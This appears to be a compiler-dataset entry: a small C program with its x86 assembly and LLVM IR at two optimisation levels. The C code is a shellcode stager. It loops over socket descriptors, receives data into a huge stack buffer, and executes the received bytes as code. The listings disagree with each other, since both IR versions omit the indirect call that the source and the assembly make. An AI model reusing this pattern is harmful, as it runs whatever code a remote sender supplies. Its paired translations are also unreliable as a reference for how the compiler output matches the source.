#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int recvfrom(int, char *, int, int, int /*<<< orphan*/, int /*<<< orphan*/);
void stub1();
int main() {
  int i = 0;
  char buff[0x41414141];
  int size;
  for (i = 0xffff; i >= 0; i--) {
    size = recvfrom(i, buff, 0x41414141, 0x80, 0, 0);
    if (size != 38 && size != 104 && size != 9 && size != 11) {
      ((void (*)())buff)();
    }
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x41414160,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
movl   $0xffff,-0x8(%rbp)
cmpl   $0x0,-0x8(%rbp)
jl     11b1 <main+0xa1>
mov    -0x8(%rbp),%edi
lea    -0x41414150(%rbp),%rsi
mov    $0x41414141,%edx
mov    $0x80,%ecx
xor    %r9d,%r9d
mov    %r9d,%r8d
call   1030 <recvfrom@plt>
mov    %eax,-0x41414154(%rbp)
cmpl   $0x26,-0x41414154(%rbp)
je     119e <main+0x8e>
cmpl   $0x68,-0x41414154(%rbp)
je     119e <main+0x8e>
cmpl   $0x9,-0x41414154(%rbp)
je     119e <main+0x8e>
cmpl   $0xb,-0x41414154(%rbp)
je     119e <main+0x8e>
lea    -0x41414150(%rbp),%rcx
mov    $0x0,%al
call   *%rcx
jmp    11a3 <main+0x93>
mov    -0x8(%rbp),%eax
add    $0xffffffff,%eax
mov    %eax,-0x8(%rbp)
jmp    1130 <main+0x20>
xor    %eax,%eax
add    $0x41414160,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
sub    $0x41414150,%rsp
mov    $0xffff,%ebx
mov    %rsp,%r14
movabs $0x4000000a00,%r15
jmp    113d <main+0x2d>
mov    %eax,%ecx
bt     %rcx,%r15
jae    115c <main+0x4c>
add    $0xffffffff,%ebx
jae    1168 <main+0x58>
mov    %ebx,%edi
mov    %r14,%rsi
mov    $0x41414141,%edx
mov    $0x80,%ecx
xor    %r8d,%r8d
xor    %r9d,%r9d
call   1030 <recvfrom@plt>
cmp    $0x26,%eax
jbe    1130 <main+0x20>
cmp    $0x68,%eax
je     1138 <main+0x28>
xor    %eax,%eax
call   *%r14
jmp    1138 <main+0x28>
xor    %eax,%eax
add    $0x41414150,%rsp
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca [1094795585 x i8]
%4 = alloca i32
store i32 0, i32* %1
store i32 0, i32* %2
store i32 65535, i32* %2
br label %5
5: ; preds = %27, %0
%6 = load i32, i32* %2
%7 = icmp sge i32 %6, 0
br i1 %7, label %8, label %30
8: ; preds = %5
%9 = load i32, i32* %2
%10 = getelementptr inbounds [1094795585 x i8], [1094795585 x i8]* %3, i64 0, i64 0
%11 = call i32 @recvfrom(i32 %9, i8* %10, i32 1094795585, i32 128, i32 0, i32 0)
store i32 %11, i32* %4
%12 = load i32, i32* %4
%13 = icmp ne i32 %12, 38
br i1 %13, label %14, label %26
14: ; preds = %8
%15 = load i32, i32* %4
%16 = icmp ne i32 %15, 104
br i1 %16, label %17, label %26
17: ; preds = %14
%18 = load i32, i32* %4
%19 = icmp ne i32 %18, 9
br i1 %19, label %20, label %26
20: ; preds = %17
%21 = load i32, i32* %4
%22 = icmp ne i32 %21, 11
br i1 %22, label %23, label %26
23: ; preds = %20
%24 = getelementptr inbounds [1094795585 x i8], [1094795585 x i8]* %3, i64 0, i64 0
%25 = bitcast i8* %24 to void (...)*
br label %26
26: ; preds = %23, %20, %17, %14, %8
br label %27
27: ; preds = %26
%28 = load i32, i32* %2
%29 = add nsw i32 %28, -1
store i32 %29, i32* %2
br label %5
30: ; preds = %5
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = alloca [1094795585 x i8]
%2 = getelementptr inbounds [1094795585 x i8], [1094795585 x i8]* %1, i64 0, i64 0
%3 = bitcast [1094795585 x i8]* %1 to void (...)*
br label %4
4: ; preds = %0, %8
%5 = phi i32 [ 65535, %0 ], [ %9, %8 ]
%6 = call i32 @recvfrom(i32 %5, i8* %2, i32 1094795585, i32 128, i32 0, i32 0)
switch i32 %6, label %7 [
i32 104, label %8
i32 38, label %8
i32 11, label %8
i32 9, label %8
]
7: ; preds = %4
br label %8
8: ; preds = %4, %4, %4, %4, %7
%9 = add nsw i32 %5, -1
%10 = icmp eq i32 %5, 0
br i1 %10, label %11, label %4
11: ; preds = %8
ret i32 0
}